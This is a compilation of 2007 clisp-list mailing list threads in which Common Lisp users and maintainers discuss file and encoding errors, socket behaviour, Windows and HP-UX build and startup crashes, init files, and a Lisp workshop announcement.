> An error of type file-error is signaled if the file system cannot
> perform the requested operation.
> --end quote--
>
> My specific question is - is this a known ambiguity in the
> specification of ANSI CL, and different implementations purposefully
> choose different results, is this an oversight of the authors of PAIP,
> or is this a CLisp issue?

CLISP takes the view that the FILE-WRITE-DATE for a non-existent file
does not make sense, thus an error is signaled.
I think this is within the bounds set by the standard.
what you want is probably something like

(and (probe-file foo)
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> * Philippe de Rochambeau <cuvebp@serr.se> [2007-03-24 23:16:42 +0100]:
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> how do you embed foreign accents in strings, in Clisp, ? eg, (print=20=20
> "=C3=A9l=C3=A9phant").

you already did it above!

> Furthermore, how do you load files containing foreign accents

http://clisp.cons.org/impnotes/encoding.html
http://clisp.cons.org/impnotes/stream-dict.html#extfmt

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Whenever you load lisp programs in clisp on Macosx 10.4, you get the =20
following error messages:


A) File contains Unix line endings + Western ISO Latin 1 Character =20
Encoding

[1]> (load "elephant.lisp")
;; Loading file elephant.lisp ...
*** - invalid byte #xE9 in CHARSET:ASCII conversion
The following restarts are available:
ABORT          :R1      ABORT
Break 1 [2]> :r1

  B) File contains MacOS line endings + Western Roman Character Encoding

[3]> (load "elephant.lisp")
;; Loading file elephant.lisp ...
*** - invalid byte #x8E in CHARSET:ASCII conversion
The following restarts are available:
ABORT          :R1      ABORT
Break 1 [4]>

I now know why: because the LC and LC_ALL system variables are not =20
set by default on MacOSX, CLISP defaults to the ASCII charset.

Setting the following CLISP variables

(SETF CUSTOM:*DEFAULT-FILE-ENCODING* "ISO-8859-1")
(SETF CUSTOM:*PATHNAME-ENCODING* "ISO-8859-1")
(SETF CUSTOM:*TERMINAL-ENCODING* "ISO-8859-1")
(SETF CUSTOM:*FOREIGN-ENCODING* "ISO-8859-1")


in .clisprc.lisp file solves the problem

You now type accented characters in the REPL:

(print "=E9l=E9phant")

and load files containing accents

; this is a comment with accented words: =E9l=E9phant


phiroc


On 25 mars 07, at 03:20, Sam Steingold wrote:

>> * Philippe de Rochambeau <cuvebp@serr.se> [2007-03-24 23:16:42 =20
>> +0100]:
>>
>> how do you embed foreign accents in strings, in Clisp, ? eg, (print
>> "=E9l=E9phant").
>
> you already did it above!
>
>> Furthermore, how do you load files containing foreign accents
>
> http://clisp.cons.org/impnotes/encoding.html
> http://clisp.cons.org/impnotes/stream-dict.html#extfmt
>
> --=20
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>



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> * Philippe de Rochambeau <cuvebp@serr.se> [2007-03-25 20:36:43 +0200]:
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> *** - invalid byte #xE9 in CHARSET:ASCII conversion

http://clisp.cons.org/impnotes/faq.html#faq-enc-err

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Sam Steingold writes:
> CLISP takes the view that the FILE-WRITE-DATE for a non-existent file
> does not make sense, thus an error is signaled.
> I think this is within the bounds set by the standard.

Which is reasonable.


> what you want is probably something like
> 
> (and (probe-file foo)
>      (file-write-date foo))

In portable code, you probably should embed that in a IGNORE-ERRORS.
In clisp, PROBE-FILE signals an error when the path leads to a directory
while some other implementation in the same OS just returns T (or NIL).

(It is also somewhat reasonable for PROBE-FILE to signal an error when
it's given a directory, the problem being more in the specifications,
than in the implementations.  Nowadays, there's CFFI, so one could
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Philippe de Rochambeau writes:
> Setting the following CLISP variables
> 
> (SETF CUSTOM:*DEFAULT-FILE-ENCODING* "ISO-8859-1")
> (SETF CUSTOM:*PATHNAME-ENCODING* "ISO-8859-1")
> (SETF CUSTOM:*TERMINAL-ENCODING* "ISO-8859-1")
> (SETF CUSTOM:*FOREIGN-ENCODING* "ISO-8859-1")
> 
> 
> in .clisprc.lisp file solves the problem
> 
> You now type accented characters in the REPL:
> 
> (print "éléphant")
> 
> and load files containing accents
> 
> ; this is a comment with accented words: éléphant

BEWARE!  This may be wrong (and probably is).

If you have a UTF-8 terminal and UTF-8 files, (and on MacOSX you
easily have UTF-8), configuring ISO-8859-1 may look like it works,
while it doesn't really.

Try: (length "éléphant"); if you get 8, it's ok.  Otherwise, you are
sending a UTF-8 byte sequence from the keyboard (or file) which is
decoded to characters as an ISO-8859-1 byte sequence in clisp, and
then reencoded from characters as an ISO-8859-1 byte sequence,
eventually interpreted as a UTF-8 byte sequence by the terminal.


Notably, the file system pathnames on MacOSX are encoded in UTF-8, not
in ISO-8859-1, so at least for this one you don't have a choice.


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Hello,

I'm either doing something wrong or I found a bug. Socket-accept works
fine as long as you close the stream it returns before calling
socket-accept again. If I don't close the stream it will hang on the
second call to socket-accept. This is not a convenient situation when you
want to multiplex. I tried to use the :backlog keyword but without any
effect. I'm using CLISP 2.41 on OpenBSD 4.0. Any suggestions are welcome.

Thanks,
Mark




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> * Mark Voortman <znex@ibbegzna.anzr> [2007-03-26 23:41:41 +0200]:
>
> I'm either doing something wrong or I found a bug. Socket-accept works
> fine as long as you close the stream it returns before calling
> socket-accept again. If I don't close the stream it will hang on the
> second call to socket-accept. This is not a convenient situation when
> you want to multiplex. I tried to use the :backlog keyword but without
> any effect. I'm using CLISP 2.41 on OpenBSD 4.0. Any suggestions are
> welcome.

I just tested it on linux and I do not observe a bug:
in 3 xterms:
[1]
$ clisp
[1]> (setq s (socket-server))
#<SOCKET-SERVER 0.0.0.0:45289>
[2]> (setq s1 (socket-accept s))
#<IO INPUT-BUFFERED SOCKET-STREAM CHARACTER 0.0.0.0:45289>
[3]> (setq s2 (socket-accept s))
#<IO INPUT-BUFFERED SOCKET-STREAM CHARACTER 0.0.0.0:45289>
[4]> (close s1)
T
[5]> (close s2)
T

[2]
$ telnet localhost 45289
Trying 127.0.0.1...
Connected to localhost.
Escape character is '^]'.
Connection closed by foreign host.
$

[3]
$ telnet localhost 45289
Trying 127.0.0.1...
Connected to localhost.
Escape character is '^]'.
Connection closed by foreign host.
$

please do debug this.
you can try strace if you do not want to use gdb.

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> I just tested it on linux and I do not observe a bug:
> in 3 xterms:

Thanks for your reply, Sam. I replicated your test procedure and it indeed
works. So the problem is probably somewhere in my own code, sorry about
that. I'll dig into it tomorrow.

Cheers,
Mark




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Thank you all, that was quite helpful.

yn.

On 3/26/07, Pascal Bourguignon <pjb@informatimago.com> wrote:
> Sam Steingold writes:
> > CLISP takes the view that the FILE-WRITE-DATE for a non-existent file
> > does not make sense, thus an error is signaled.
> > I think this is within the bounds set by the standard.
>
> Which is reasonable.
>
>
> > what you want is probably something like
> >
> > (and (probe-file foo)
> >      (file-write-date foo))
>
> In portable code, you probably should embed that in a IGNORE-ERRORS.
> In clisp, PROBE-FILE signals an error when the path leads to a directory
> while some other implementation in the same OS just returns T (or NIL).
>
> (It is also somewhat reasonable for PROBE-FILE to signal an error when
> it's given a directory, the problem being more in the specifications,
> than in the implementations.  Nowadays, there's CFFI, so one could
> design a clean POSIX file system access library for CL).
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Hello clisp-list,

  I have to download clisp-2.41-win32-mingw-without-readline.zip, but can't use
  it. When I run clisp.exe:

  i i i i i i i       ooooo    o        ooooooo   ooooo   ooooo
  I I I I I I I      8     8   8           8     8     o  8    8
  I  \ `+' /  I      8         8           8     8        8    8
   \  `-+-'  /       8         8           8      ooooo   8oooo
    `-__|__-'        8         8           8           8  8
        |            8     o   8           8     o     8  8
  ------+------       ooooo    8oooooo  ooo8ooo   ooooo   8

Copyright (c) Bruno Haible, Michael Stoll 1992, 1993
Copyright (c) Bruno Haible, Marcus Daniels 1994-1997
Copyright (c) Bruno Haible, Pierpaolo Bernardi, Sam Steingold 1998
Copyright (c) Bruno Haible, Sam Steingold 1999-2000
Copyright (c) Sam Steingold, Bruno Haible 2001-2006


E:\clisp> (lisp prompt is absent)

  When I run install.bat:

+----------------------------------------------------------+
I this will install CLISP on your system,                  I
I associating file types FAS, MEM and LISP with CLISP.     I
I it will also create a shortcut to CLISP on your desktop. I
I               press C-c to abort                         I
+----------------------------------------------------------+
Press any key to continue . . .
 * Installing CLISP to run from E:\clisp\
Use the `full' linking set?
*** - Program stack overflow. RESET

Press any key to continue . . .

E:\clisp>

  I'm try:

  o run clisp.exe with -m option (max value i have to set: 50MB)
  o set MinSPs=4 (6,10) in system.ini
  o run clisp with PIF (with setting memory values to the maximum)
  o use editbin.exe to set lisp.exe and clisp.exe stack (when i set it slightly
  less then 4MB i've got this:

*** - handle_fault error2 ! address = 0xf11000 not in [0x22010000,0x224dc674) !
SIGSEGV cannot be cured. Fault address = 0xf11000.
Permanently allocated: 91104 bytes.
Currently in use: 5947884 bytes.
Free space: 964221 bytes.

  and then i set stack less then 'segfault value' (slightly less then 4MB) i've
  got overflow.

  Do I need MinGW (and MSYS) to use this clisp? So i try it and get same
  results.

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On 4/1/07, eto <e_to@hotbox.ru> wrote:
> Hello clisp-list,
>
>   I have to download clisp-2.41-win32-mingw-without-readline.zip, but can't use
>   it. When I run clisp.exe:
>
> [snip snip]
>
> E:\clisp> (lisp prompt is absent)

Which version of Windows are you running?

Do you have an existing ~/.clisprc file? If so, try starting clisp with
the -norc command-line option.

Also, try starting clisp with

  -E 1:1

Also, try downloading the other MinGW build and see if that works better.

>   Do I need MinGW (and MSYS) to use this clisp? So i try it and get same
>   results.

Neither MinGW nor MSYS are required for running this build of clisp.

If anyone else has ideas for debugging startup crashes like this,
please offer suggestions. I would propose running lisp.exe from
gdb to get a stack trace, except that I myself am having no success
doing so, even though running lisp.exe from the command prompt
works fine.

-- 
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$ clisp -q -ansi
STACK depth: 98238
[1]> (ignore-errors (make-dir "/tmp/"))

[pathname.d:267] NIL ;
#<SYSTEM::SIMPLE-FILE-ERROR #x1A946895>
[2]> 
		Peace
			--Devon
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	 \ /	Health Care
	  X 	not warfare
	 / \

	Dubya won the digital vote
	Kerry won the popular vote

PS: $ clisp --version
STACK depth: 98238
GNU CLISP 2.41 (2006-10-13) (built on my-computer.local [192.168.0.11])
Software: GNU C 4.0.1 (Apple Computer, Inc. build 5367) 
gcc -g -O2 -W -Wswitch -Wcomment -Wpointer-arith -Wimplicit -Wreturn-type -Wmissing-declarations -Wno-sign-compare -g -DDEBUG_OS_ERROR -DDEBUG_SPVW -DDEBUG_BYTECODE -DSAFETY=3 -DUNIX_BINARY_DISTRIB -DUNICODE -DNO_GETTEXT -I. -x none libcharset.a -lncurses  -liconv -L/usr/local/lib -lsigsegv -lc -L/usr/X11R6/lib
SAFETY=3 HEAPCODES STANDARD_HEAPCODES SPVW_BLOCKS SPVW_MIXED TRIVIALMAP_MEMORY
libsigsegv 2.4
libiconv 1.9
Features: 
(REGEXP SYSCALLS I18N LOOP COMPILER CLOS MOP CLISP ANSI-CL COMMON-LISP LISP=CL
 INTERPRETER SOCKETS GENERIC-STREAMS LOGICAL-PATHNAMES SCREEN UNICODE
 BASE-CHAR=CHARACTER UNIX MACOS)
C Modules: (clisp i18n syscalls regexp)
Installation directory: /usr/local/lib/clisp/
User language: ENGLISH
Machine: POWER MACINTOSH (POWER MACINTOSH) my-computer.local [192.168.2.2]


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> * Devon Sean McCullough <Yvfc-unpxre@Wbiv.Arg> [2007-04-07 11:29:30 -0400]:
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> $ clisp -q -ansi
> STACK depth: 98238
> [1]> (ignore-errors (make-dir "/tmp/"))
>
> [pathname.d:267] NIL ;
> #<SYSTEM::SIMPLE-FILE-ERROR #x1A946895>

--with-debug enables this.


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+----------------------------------------------------------------------+
|                      4th European Lisp Workshop                      |
|       July 30 - Berlin, Germany - co-located with ECOOP 2007         |
+----------------------------------------------------------------------+

Important Dates
Submission deadline (papers & breakout groups): May 13, 2007
Notification of acceptance:                     May 31, 2007
ECOOP early registration deadline:              June 15, 2007

For more information visit http://lisp-ecoop07.bknr.net/
Contact: Pascal Costanza, pc@p-cos.net

Organizers
**********

Pascal Costanza, Programming Technology Lab, Vrije Universiteit Brussel
Theo D'Hondt, Programming Technology Lab, Vrije Universiteit Brussel
Hans Huebner, Software Developer, Berlin
Arthur Lemmens, Independent Consultant, Amsterdam
Christophe Rhodes, Goldsmiths College, University of London

Overview
********

"...Please don't assume Lisp is only useful for Animation and Graphics,
AI, Bioinformatics, B2B and E-Commerce, Data Mining, EDA/Semiconductor
applications, Expert Systems, Finance, Intelligent Agents, Knowledge
Management, Mechanical CAD, Modeling and Simulation, Natural Language,
Optimization, Research, Risk Analysis, Scheduling, Telecom, and Web
Authoring just because these are the only things they happened to list."
   -- Kent Pitman

Lisp is one of the oldest computer languages still in use today. In the
decades of its existence, Lisp has been a fruitful basis for language
design experiments as well as the preferred implementation language for
applications in diverse fields.

The structure of Lisp makes it easy to extend the language or even to
implement entirely new dialects without starting from scratch. Common
Lisp, with the Common Lisp Object System (CLOS), was the first
object-oriented programming language to receive an ANSI standard and
retains the most complete and advanced object system of any programming
language, while influencing many other object-oriented programming
languages that followed.

It is clear that Lisp is gaining momentum: there is a steadily growing
interest in Lisp itself, with numerous user groups in existence
worldwide, and in Lisp's metaprogramming notions which are being
transferred to other languages, as for example in Aspect-Oriented
Programming, support for Domain-Specific Languages, and so on.

This workshop will address the near-future role of Lisp-based languages
in research, industry and education. We solicit papers and suggestions
for breakout groups that discuss the opportunities Lisp provides to
capture and enhance the possibilities in software engineering. We want
to promote lively discussion between researchers proposing new
approaches and practitioners reporting on their experience with the
strengths and limitations of current Lisp technologies.

The workshop will have two components; there will be formally-presented
talks, and for breakout groups discussing or working on particular
topics.  Additionally, there will be opportunities for short, informal
talks and demonstrations on experience reports, underappreciated
results, software under development, or other topics of interest.

Papers
******

Formal presentations in the workshop should take between 20 minutes and
half an hour; additional time will be given for questions and answers.
We encourage that papers be published on the website in order to provide
background information in advance.

Suggested Topics

New language features or abstractions
Experience reports or case studies
Protocol Metaprogramming and Libraries
Educational approaches
Software Evolution
Development Aids
Persistent Systems
Dynamic Optimization
Implementation techniques
Innovative Applications
Hardware Support for Lisp systems
Macro-, reflective-, meta- and/or rule-based development approaches
Aspect-Oriented, Domain-Oriented and Generative Programming

Breakout Groups
***************

The workshop will provide for the opportunity to meet face to face and
work on focused topics. We will organize these breakout groups and
provide for rooms and infrastructure.

Suggested Topics for Breakout Groups

Lisp Infrastructure Development and Distribution
Language Features (e.g. Predicate Dispatching)
Environments for creating web applications
Brainstorming sessions for new or existing open source projects
Persistence Systems
Compiler technology
Lisp on bare metal / Lisp hardware / Lisp operating systems
Compare and enhance curricula for computer science education

Submission Guidelines
*********************

Potential attendees are encouraged to submit either of the following:

* a long paper (10 pages) presenting scientific and/or
   empirical results about Lisp-based uses or new approaches for
   software engineering purposes;

* a short essay (5 pages) defending a position about where
   research, practice or education based on Lisp should be heading in
   the near future;

* a proposal for a breakout group (1-2 pages) describing the theme, an
   agenda and/or expected results.

Submissions should be mailed as PDF to Pascal Costanza (pc@p-cos.net)
before the submission deadline.

-- 
Pascal Costanza, mailto:pc@p-cos.net, http://p-cos.net
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I have the problem with .clisprc.lisp

I placed my config parameters there (this is mostly load paths) and they 
are perfectly loaded when I go into interactive shell (clisp or even 
maxima) and they are loaded when I invoke clisp to run something from 
command line (clisp -x "something")

The file .clisprc.lisp is entirely ignored when I run clisp against some 
file, e.g. search paths are not found.

This makes .clisprc.lisp file much useless, IMO.

"clisp --help" mentions about "-i file" but this means I must invoke 
every time my files with
clisp -i [full-path-to-init-file-because-no-search-path-yet] my-file.lisp

Can you please advise what I am missing?
Do I misunderstand the idea of "clisprc" file?

Thanks in advance,
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Vadim Konovalov wrote:
> I have the problem with .clisprc.lisp
> 
> I placed my config parameters there (this is mostly load paths) and they 
> are perfectly loaded when I go into interactive shell (clisp or even 
> maxima) and they are loaded when I invoke clisp to run something from 
> command line (clisp -x "something")
> 
> The file .clisprc.lisp is entirely ignored when I run clisp against some 
> file, e.g. search paths are not found.

this is documented behavior:
http://clisp.cons.org/impnotes/clisp.html#opt-exec-file
"No RC file will be executed."
See also http://clisp.cons.org/impnotes/quickstart.html#script-exec

> "clisp --help" mentions about "-i file" but this means I must invoke 
> every time my files with
> clisp -i [full-path-to-init-file-because-no-search-path-yet] my-file.lisp
> 
> Can you please advise what I am missing?
> Do I misunderstand the idea of "clisprc" file?

The idea of "clisp foo" is that it is used in scripts.
(IIUC, bash scripts do not load ~/.bashrc either).
A script should be a more-or-less standalone (self-contained) program 
that is usable by many people (this is the philosophy behind the Unix 
notion of a "script", not necessarily the way you want to use them), so 
they should not rely on personal files to work correctly (unless the 
files are relevant to the specific script as opposed to the interpreter 
running it).

Thus the behavior you observe is intended, documented, and (IMHO) 
reasonable.

Scripts should load all the files they rely upon explicitly.
In your specific case - if indeed all your RC file does is search path 
setting - I would recommend dumping an image.


Sam.



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Sam Steingold wrote:
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>> Do I misunderstand the idea of "clisprc" file?
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> The idea of "clisp foo" is that it is used in scripts.
> (IIUC, bash scripts do not load ~/.bashrc either).

Very reasonable argument, BTW.

Thanks a lot for the comprehensive explanation!

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> * Vadim Konovalov <inqere@tznvy.pbz> [2007-04-13 22:20:28 +0400]:
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> Thanks a lot for the comprehensive explanation!

you are welcome.
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I'm running clisp on Linux, looking for a  windows version.

any suggestions please.
I'm looking for an xml parsing application, if that's any help.

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Dave Pawson wrote:
> I'm running clisp on Linux, looking for a  windows version.

clisp runs on windows too.
visit http://clisp.cons.org and proceed to the "download" section.

> I'm looking for an xml parsing application, if that's any help.

there are several options:
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On 24/04/07, Sam Steingold <sds@gnu.org> wrote:
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>
> clisp runs on windows too.
> visit http://clisp.cons.org and proceed to the "download" section.

I was kind of hoping not to have to install cygwin?
I'm running on a laptop with 20Mb disk

>
> > I'm looking for an xml parsing application, if that's any help.
>
> there are several options:
> http://www.google.com/search?q=lisp+xml+parse

Thanks, I'll take a look.

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Dave Pawson wrote:
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>> Dave Pawson wrote:
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>>> I'm running clisp on Linux, looking for a  windows version.
>>>       
>> clisp runs on windows too.
>> visit http://clisp.cons.org and proceed to the "download" section.
>>     
>
> I was kind of hoping not to have to install cygwin?
> I'm running on a laptop with 20Mb disk
>
>   

Is it 20Mb or 20Gb?
You can't run windows on 20Mb.

But there exists not only cygwin version of CLISP, Win32 version also 
available, at the ordinary SF download page.

Best regards,
Vadim.



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Dave Pawson wrote:
> On 24/04/07, Sam Steingold <sds@gnu.org> wrote:
>> Dave Pawson wrote:
>>> I'm running clisp on Linux, looking for a  windows version.
>> clisp runs on windows too.
>> visit http://clisp.cons.org and proceed to the "download" section.
> 
> I was kind of hoping not to have to install cygwin?

while clisp does come bundled with cygwin, you do NOT need cygwin to run 
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On 25/04/07, Sam Steingold <sds@gnu.org> wrote:

> while clisp does come bundled with cygwin, you do NOT need cygwin to run
> clisp.
> if you actually do click on "SourceForge downloads/HTTP" on the
> aforementioned clisp homepage (which will get you to
> http://sourceforge.net/project/showfiles.php?group_id=1355), you will
> discover two self-contained binary distributions of clisp for win32.
> "notes" at
> http://sourceforge.net/project/shownotes.php?release_id=455105&group_id=1355
> will tell you the difference between the distributions.

I'll give it a try. Thanks Sam.

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Hello All,

I'm pretty sure my wish is a common one, but I could find an answer in a few
minutes....

I'm missing the equivalent of __LINE__ (and __FILE__) in C. 

Using Clisp 2.41 (on Debian/Sid) I would be happy to have  a macro dbgformat
such as
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occurring in source file foo.lisp at line 345 had the same effect as
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I know I could redefine the standard reader, etc... but I expect that file
location info already exist. 

Any clues or advices please? I could switch to another free lisp (eg SBCL)
if it would be easier.

Thanks in advance!

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the short answer is that you are out of luck.
the longer answer is that Lisp offers better ways to do this (see
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Hi clisp-list@lists.sourceforge.net,

Sorry for bugging you (again).

Some time ago (February 21, 2006) I suggested to add a :parse-options 
keyword to saveinitmem such that
   :executable t :parse-options nil
had the effect of adding an understood -- in front of the arguments to the 
executable memory dump.

I also came up with a patch which burried a Boolean inside the executable. 
That Boolean was checked as the very very first thing in the 
craddle-to-grave sequence and decided whether the argument list should 
have an understood -- in front.

The patch had the side effect that one could lock out the user from access 
to clisp features, giving access only to the features of the dumped 
program. As an example, one would be unable to see that the program was 
actually a clisp memory dump. And if one knew that the program was a clisp 
one, one would be unable to see e.g. which version of clisp was used. As 
far as I understand, this side effect was undesired and the patch was 
never accepted.

I just stumbled over yet another situation where an understood -- would be 
nice to have: Suppose an executable memory dump M drops the user to a 
clisp prompt. Suppose one invokes M by a command like 'M arg1 arg2 arg3' 
where arg1 does not start with a hyphen. Suppose one accidentally invokes 
the debugger from the clisp prompt. Then M quits. If one instead invokes M 
by 'M -- arg1 arg2 arg3' then in the situation above, then instead of 
quiting, M invokes the debugger as desired.

So I make another try:

I suggest adding a new argument named ++ which, when given first in the 
argument list, forces traditional command line parsing. So that e.g.
   clisp -version
has the same effect as
   clisp ++ -version

In other words, I suggest having a new argument named ++ which has the 
opposite effect of --.

Then I suggest adding a :parse-options keyword such that the
   (saveinitmem ... :parse-options nil)
lets the dumped executable have an understood -- and such that the
   (saveinitmem ... :parse-options t)
lets the dumped executable have an understood ++.

The default for :parse-options should be t for backward compatibility.

Then for a saved memory dump M we would have
   'M -- arg1 arg2 arg3' does no parsing of arguments
   'M ++ arg1 arg2 arg3' does parsing of arguments
   'M arg1 arg2 arg3' does what :parse-options said.

I case this is acceptable, I would be happy to develop a patch which 
implements the change.

Cheers,
Klaus


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Dear Clispers,

being completely new to Clisp (but not to Lisp) I am trying to get  
Clisp running on HP-UX 11i (HP-UX 11.11) on PA-RISC1.1-based machine.  
I get a compile done, but when the Makefile calls

./lisp,run ...

for the first run I get a memory fault with resulting coredump.

Any attempt to get more info from Clisp failed - I assume the  
coredump is happening quite early after startup...

Any idea how I can debug this?

Thx for any pointers. Any help really appreciated.

Regards
     Frank

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Frank Goenninger wrote:
> Dear Clispers,
>
> being completely new to Clisp (but not to Lisp) I am trying to get  
> Clisp running on HP-UX 11i (HP-UX 11.11) on PA-RISC1.1-based machine.  
> I get a compile done, but when the Makefile calls
>
> ./lisp,run ...
>
> for the first run I get a memory fault with resulting coredump.
>   

your problem resembles mine when I compiled using MSVC++ in Windors.
The fix came into the CVS, but the #ifdef-ed compilers aren't fixed, 
namely HP-UX one.

Look for the following code in lispbibl.d (this is after fixing)

# Unspecified length of arrays in structures:
# struct { ...; ...; type x[unspecified]; }
# Instead of sizeof(..) you'll always have to use offsetof(..,x).
#if defined(GNU) || defined(MICROSOFT) /* GNU & MS C are able to work 
with arrays of length 0 */
  #define unspecified 0
#elif 0
  # Usually one would omit the array's limit
  #define unspecified
#else
  # However, HP-UX- and IRIX-compilers will only work with this:
  #define unspecified 1
#endif


Even with comment about HP-UX compilers, it do not justify wrong 
aligment logic.
try modifying this file according to your situation and see how it goes.

> Any attempt to get more info from Clisp failed - I assume the  
> coredump is happening quite early after startup...
>
> Any idea how I can debug this?
>
> Thx for any pointers. Any help really appreciated.
>
> Regards
>      Frank
>   

Best regards,
Vadim.


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Am 20.05.2007 um 08:31 schrieb Vadim Konovalov:

> Frank Goenninger wrote:
>> Dear Clispers,
>>
>> being completely new to Clisp (but not to Lisp) I am trying to  
>> get  Clisp running on HP-UX 11i (HP-UX 11.11) on PA-RISC1.1-based  
>> machine.  I get a compile done, but when the Makefile calls
>>
>> ./lisp,run ...
>>
>> for the first run I get a memory fault with resulting coredump.
>>
>
> your problem resembles mine when I compiled using MSVC++ in Windors.
> The fix came into the CVS, but the #ifdef-ed compilers aren't  
> fixed, namely HP-UX one.
>
> Look for the following code in lispbibl.d (this is after fixing)
>
> # Unspecified length of arrays in structures:
> # struct { ...; ...; type x[unspecified]; }
> # Instead of sizeof(..) you'll always have to use offsetof(..,x).
> #if defined(GNU) || defined(MICROSOFT) /* GNU & MS C are able to  
> work with arrays of length 0 */
>  #define unspecified 0
> #elif 0
>  # Usually one would omit the array's limit
>  #define unspecified
> #else
>  # However, HP-UX- and IRIX-compilers will only work with this:
>  #define unspecified 1
> #endif
>
>
> Even with comment about HP-UX compilers, it do not justify wrong  
> aligment logic.
> try modifying this file according to your situation and see how it  
> goes.

I forced a specific value for "unspecified" with

#define unspecified 1

after the code block you mentioned above. I am still in "monkey mode"  
- just not really having a glue on what's going on here. I only see  
that the Makefile tries to execute

./lisp.run -B . -E 1:1 -Efile UTF-8 -Eterminal UTF-8 -norc -m 1800KW - 
x "(and (load \"init.lisp\") (sys::%saveinitmem) (ext::exit))  
(ext::exit t)"

... hmm ... What does that tell me ?

Thx for any further help!

Frank




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Frank Goenninger wrote:
> Am 20.05.2007 um 08:31 schrieb Vadim Konovalov:
>
>   
>> Frank Goenninger wrote:
>>     
>>> Dear Clispers,
>>>
>>> being completely new to Clisp (but not to Lisp) I am trying to  
>>> get  Clisp running on HP-UX 11i (HP-UX 11.11) on PA-RISC1.1-based  
>>> machine.  I get a compile done, but when the Makefile calls
>>>
>>> ./lisp,run ...
>>>
>>> for the first run I get a memory fault with resulting coredump.
>>>
>>>       
>> your problem resembles mine when I compiled using MSVC++ in Windors.
>> The fix came into the CVS, but the #ifdef-ed compilers aren't  
>> fixed, namely HP-UX one.
>>
>> Look for the following code in lispbibl.d (this is after fixing)
>>
>> # Unspecified length of arrays in structures:
>> # struct { ...; ...; type x[unspecified]; }
>> # Instead of sizeof(..) you'll always have to use offsetof(..,x).
>> #if defined(GNU) || defined(MICROSOFT) /* GNU & MS C are able to  
>> work with arrays of length 0 */
>>  #define unspecified 0
>> #elif 0
>>  # Usually one would omit the array's limit
>>  #define unspecified
>> #else
>>  # However, HP-UX- and IRIX-compilers will only work with this:
>>  #define unspecified 1
>> #endif
>>
>>
>> Even with comment about HP-UX compilers, it do not justify wrong  
>> aligment logic.
>> try modifying this file according to your situation and see how it  
>> goes.
>>     
>
> I forced a specific value for "unspecified" with
>
> #define unspecified 1
>   

this way you didn't change the situation;

at least try

#define unspecified 0



> after the code block you mentioned above. I am still in "monkey mode"  
> - just not really having a glue on what's going on here. I only see  
> that the Makefile tries to execute
>
> ./lisp.run -B . -E 1:1 -Efile UTF-8 -Eterminal UTF-8 -norc -m 1800KW - 
> x "(and (load \"init.lisp\") (sys::%saveinitmem) (ext::exit))  
> (ext::exit t)"
>
> ... hmm ... What does that tell me ?
>   

can you get a stacktrace out of your coredump?


Vadim.


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Hi Vadim -

Am 20.05.2007 um 14:43 schrieb Vadim Konovalov:

>>> Look for the following code in lispbibl.d (this is after fixing)
>>>
>>> # Unspecified length of arrays in structures:
>>> # struct { ...; ...; type x[unspecified]; }
>>> # Instead of sizeof(..) you'll always have to use offsetof(..,x).
>>> #if defined(GNU) || defined(MICROSOFT) /* GNU & MS C are able to   
>>> work with arrays of length 0 */
>>>  #define unspecified 0
>>> #elif 0
>>>  # Usually one would omit the array's limit
>>>  #define unspecified
>>> #else
>>>  # However, HP-UX- and IRIX-compilers will only work with this:
>>>  #define unspecified 1
>>> #endif
>>>
>>>
>>> Even with comment about HP-UX compilers, it do not justify wrong   
>>> aligment logic.
>>> try modifying this file according to your situation and see how  
>>> it  goes.
>>>
>>
>> I forced a specific value for "unspecified" with
>>
>> #define unspecified 1
>>
>
> this way you didn't change the situation;
>
> at least try
>
> #define unspecified 0


Hm? I am using GCC so I thought the above code defines unspecified as  
0 ...
Anyway - I tried with

#define unspecified 0

- same result.

Stacktrace / Call stack:

#0  0x36974 in gar_col_normal () at /opt/clisp/clisp-2.41/src/ 
spvw_garcol.d:148  <-- HERE: SIGSEGV ...
#1  0x38250 in do_gar_col_simple () at /opt/clisp/clisp-2.41/src/ 
spvw_garcol.d:2376
#2  0xddde8 in with_gc_statistics (fun=0x4002d6ba  
<do_gar_col_simple>) at /opt/clisp/clisp-2.41/src/predtype.d:3137
#3  0x2d8e0 in make_space_gc (need=0, heap_ptr=0x40030598,  
stack_ptr=0x7f7f09e8) at /opt/clisp/clisp-2.41/src/spvw_garcol.d:2405
#4  0x2eeb0 in allocate_vector (len=2139030890) at /opt/clisp/ 
clisp-2.41/src/spvw_typealloc.d:89
#5  0x2f048 in initmem () at /opt/clisp/clisp-2.41/src/subrkw.d:7
#6  0x35510 in main (argc=1, argv=0x7f7f0724) at /opt/clisp/ 
clisp-2.41/src/spvw.d:2922

Code at level 0 (file spvw_garcold.d:148):

  for_all_threadobjs( gc_mark(*objptr); ); /* threads */
  /* The callers in back_trace are mostly already marked:
      they refer to subrs and closures that are currently being
      called and therefore cannot possibly be garbage-collected.
      But a few remain unmarked, so make sure all are really marked: */
  for_all_back_traces({
    for (; bt != NULL; bt = bt->bt_next)
      gc_mark(bt->bt_function);
  });

Hmm - gcc and the debugger must be confused due to the preprocessing  
step from D to C ...

Any ideas?

Thx!!!!

Frank






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Frank Goenninger wrote:

...
>
> Hm? I am using GCC so I thought the above code defines unspecified as 
> 0 ...
you didn't mentioned GCC earlier, so I thought you've faced HP-UX #ifdef

Indeed, GCC should be with mentioned #ifdef set, so this invalidates my 
assumption.

I don't have HP-UX access, so I hardly be useful.

Just for the record, your sympthoms were similar to mine, but now its 
obvious that exact point of error is different.


Best regards,
Vadim.
> - same result.
>
> Stacktrace / Call stack:
>
> #0  0x36974 in gar_col_normal () at 
> /opt/clisp/clisp-2.41/src/spvw_garcol.d:148  <-- HERE: SIGSEGV ...
> #1  0x38250 in do_gar_col_simple () at 
> /opt/clisp/clisp-2.41/src/spvw_garcol.d:2376
> #2  0xddde8 in with_gc_statistics (fun=0x4002d6ba <do_gar_col_simple>) 
> at /opt/clisp/clisp-2.41/src/predtype.d:3137
> #3  0x2d8e0 in make_space_gc (need=0, heap_ptr=0x40030598, 
> stack_ptr=0x7f7f09e8) at /opt/clisp/clisp-2.41/src/spvw_garcol.d:2405
> #4  0x2eeb0 in allocate_vector (len=2139030890) at 
> /opt/clisp/clisp-2.41/src/spvw_typealloc.d:89
> #5  0x2f048 in initmem () at /opt/clisp/clisp-2.41/src/subrkw.d:7
> #6  0x35510 in main (argc=1, argv=0x7f7f0724) at 
> /opt/clisp/clisp-2.41/src/spvw.d:2922
>
> Code at level 0 (file spvw_garcold.d:148):
>
>  for_all_threadobjs( gc_mark(*objptr); ); /* threads */
>  /* The callers in back_trace are mostly already marked:
>      they refer to subrs and closures that are currently being
>      called and therefore cannot possibly be garbage-collected.
>      But a few remain unmarked, so make sure all are really marked: */
>  for_all_back_traces({
